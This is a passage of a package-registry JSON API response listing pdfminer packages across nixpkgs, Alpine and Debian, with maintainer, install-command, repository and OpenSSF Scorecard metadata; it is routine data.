Rodas","email":null,"url":"https://github.com/marsam","packages_count":456,"html_url":null,"role":null,"created_at":"2026-03-03T04:23:43.257Z","updated_at":"2026-03-03T04:23:43.257Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers/marsam/packages"},{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":62,"html_url":null,"role":null,"created_at":"2026-03-03T04:23:43.215Z","updated_at":"2026-03-03T04:23:43.215Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-23.05","url":"https://channels.nixos.org/nixos-23.05","ecosystem":"nixpkgs","default":false,"packages_count":101092,"maintainers_count":2622,"namespaces_count":0,"keywords_count":0,"github":"NixOS","metadata":{"funded_packages_count":151},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.882Z","updated_at":"2026-04-03T06:21:54.798Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/namespaces"}},{"id":13017116,"name":"py3-pdfminer-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-pdfminer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_number":"20240706-r0","last_synced_at":"2026-04-15T01:05:15.931Z","created_at":"2026-02-01T07:58:43.989Z","updated_at":"2026-04-15T01:31:18.948Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.23/community/x86_64/py3-pdfminer-pyc","install_command":"apk add py3-pdfminer-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.23","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-pdfminer-pyc/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":184,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2026-03-04T10:20:57.055Z","updated_at":"2026-03-04T10:20:57.055Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.23","url":"https://pkgs.alpinelinux.org/packages?branch=v3.23","ecosystem":"alpine","default":false,"packages_count":27569,"maintainers_count":428,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2026-01-24T14:35:50.739Z","updated_at":"2026-04-27T18:20:22.382Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/namespaces"}},{"id":13704479,"name":"pdfminer","ecosystem":"debian","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T21:45:26.499Z","latest_release_published_at":"2026-02-12T21:45:26.499Z","latest_release_number":"20221105+dfsg-1.1~deb12u1","last_synced_at":"2026-03-13T06:39:52.277Z","created_at":"2026-02-12T21:45:26.283Z","updated_at":"2026-03-13T06:39:52.277Z","registry_url":"https://tracker.debian.org/pkg/pdfminer","install_command":"apt-get install pdfminer","documentation_url":"https://packages.debian.org/bookworm/pdfminer","metadata":{"component":"main","architecture":"all","priority":"source","binary":"python3-pdfminer, pdfminer-data","standards_version":"4.6.2.0","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python3-all, python3-charset-normalizer, python3-cryptography, python3-pytest, python3-setuptools, rename, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-12T21:45:27.040Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/pdfminer?arch=source\u0026distro=debian-12","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"debian-12","url":"https://packages.debian.org/bookworm","ecosystem":"debian","default":true,"packages_count":34734,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"debian","metadata":{"codename":"bookworm"},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.459Z","updated_at":"2026-04-27T18:20:38.992Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/namespaces"}},{"id":13197408,"name":"python311Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-02T00:34:01.989Z","latest_release_published_at":"2026-02-02T00:34:01.989Z","latest_release_number":"20231228","last_synced_at":"2026-03-09T03:05:47.393Z","created_at":"2026-02-02T00:33:59.948Z","updated_at":"2026-03-09T13:02:29.924Z","registry_url":"https://search.nixos.org/packages?channel=24.05\u0026query=python311Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python311Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.05/pkgs/development/python-modules/pdfminer-six/default.nix#L70","metadata":{"nix_attribute":"python3.11-pdfminer-six-20231228","position":"pkgs/development/python-modules/pdfminer-six/default.nix:70","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python311Packages.pdfminer-six?channel=24.05\u0026repository_url=https://channels.nixos.org/nixos-24.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python311Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python311Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python311Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python311Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":59,"html_url":null,"role":null,"created_at":"2026-03-09T03:05:47.564Z","updated_at":"2026-03-09T03:05:47.564Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-24.05","url":"https://channels.nixos.org/nixos-24.05","ecosystem":"nixpkgs","default":false,"packages_count":116156,"maintainers_count":3383,"namespaces_count":0,"keywords_count":654,"github":"NixOS","metadata":{"funded_packages_count":251},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.309Z","updated_at":"2026-05-28T05:12:02.705Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/namespaces"}},{"id":7779495,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-04-25T07:00:46.000Z","latest_release_published_at":"2023-04-25T07:00:46.000Z","latest_release_number":"20221105-r1","last_synced_at":"2026-04-09T02:10:08.023Z","created_at":"2023-05-22T14:30:20.035Z","updated_at":"2026-04-09T02:10:08.023Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.18/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83